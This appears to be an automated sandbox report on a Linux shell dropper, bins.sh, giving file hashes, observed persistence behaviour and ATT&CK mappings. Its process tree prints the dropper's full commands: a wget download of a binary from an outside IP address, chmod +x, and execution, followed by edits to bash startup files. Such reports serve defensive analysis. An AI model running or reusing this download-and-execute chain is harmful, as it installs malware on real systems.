Analysis
- max time kernel
149s - max time network
148s - platform
ubuntu-18.04_amd64 - resource
ubuntu1804-amd64-20260126-en - resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20260126-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system - submitted
09/05/2026, 23:21
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20260126-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20260127-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20250619-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20260126-en
General
- Target bins.sh
- Size 1KB
- Sample260509-3b7ldset5y
- SHA256 5bb655f82a8cfd65a9c493143f26ed8b476fe487ee4c4f7faffa4167b26952e4
- MD5 0526c17f6f2fdb59e47bc6275e510377
- SHA1 9d36bb7d689e9ae8f1ff857e353438ea11eaf3a7
- SHA512 d4b9c15753fe90a3e0b2225c1d04a2ddcd3902ad5a6f12195c45a466b9e198a811c71f883512c92f7b18674f03c8bddc2c0d4ccb416681ea50d8b503a91219c6
- TLSH T1E54196DBA2E090B3C469ED41FB54B4C4E19D86C361FFAEBCFDA45562489900CF1B6B60
- MD5 SHA1 SHA512 TLSH
Malware Config
Signatures
- File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 1510 chmod - Executes dropped EXE 1 IoCs
ioc pid Process /tmp/x86 1511 bins.sh - Creates/modifies environment variables 1 TTPs 3 IoCs
Creating/modifying environment variables is a common persistence mechanism.
description ioc Process File opened for modification /etc/profile x86 File opened for modification /root/.bashrc x86 File opened for modification /home/user/.bashrc x86 - Write file to user bin folder 2 IoCs
description ioc Process File opened for modification /usr/bin/test_write x86 File opened for modification /usr/bin/sysd x86 - Modifies Bash startup script 2 TTPs 3 IoCs
description ioc Process File opened for modification /etc/profile x86 File opened for modification /root/.bashrc x86 File opened for modification /home/user/.bashrc x86 - Enumerates kernel/hardware configuration 1 TTPs 1 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process File opened for reading /sys/kernel/mm/transparent_hugepage/hpage_pmd_size x86 -
description ioc Process File opened for reading /proc/stat x86 File opened for reading /proc/meminfo x86 - Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/x86 wget
Processes
-
/tmp/bins.sh/tmp/bins.sh1⤵
- Executes dropped EXE
PID:1505 -
/usr/bin/wgetwget http://176.65.139.166/x86 -O x862⤵
- Writes file to tmp directory
PID:1506
-
-
/bin/chmodchmod +x x862⤵
- File and Directory Permissions Modification
PID:1510
-
-
/tmp/x86./x862⤵
- Creates/modifies environment variables
- Write file to user bin folder
- Modifies Bash startup script
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:1511
-
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1Event Triggered Execution
1Unix Shell Configuration Modification
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Privilege Escalation
Boot or Logon Autostart Execution
1Event Triggered Execution
1Unix Shell Configuration Modification
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Replay Monitor
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Downloads
- Path /tmp/x86
- Size 4.6MB
- SHA256 1b141165df34e7f56eeca2a18ad3d4f98a55a456e14624133cc2d79c3e531bc3
- MD5 630af656ef98e4d15a5e372929307a33
- SHA1 fb44cdb927c356e8e4308a79d3ecb6130a978516
- SHA512 3738c8d66f6dff4edb1986cb3fb190e3c14391b0b3680dcad52d5c3e8fa621fe5c41849183854eee844d1b8543e3d8b844f3879434a07b4a076bd526564b5213
- SSDEEP 49152:lpMwciYpuWQYs7FR5+Q+uvvunTcP8+pvrIW++xFzbiT/59JY2QNVEH:7Mw0BOR5+Q+uvjPM3jQkH
- TLSH T1D4262851FECB44F6E9031E3044BBA26F67315D058B29DBC7EA507F2AE9776D21932208
- MD5 SHA1 SHA512 SSDEEP TLSH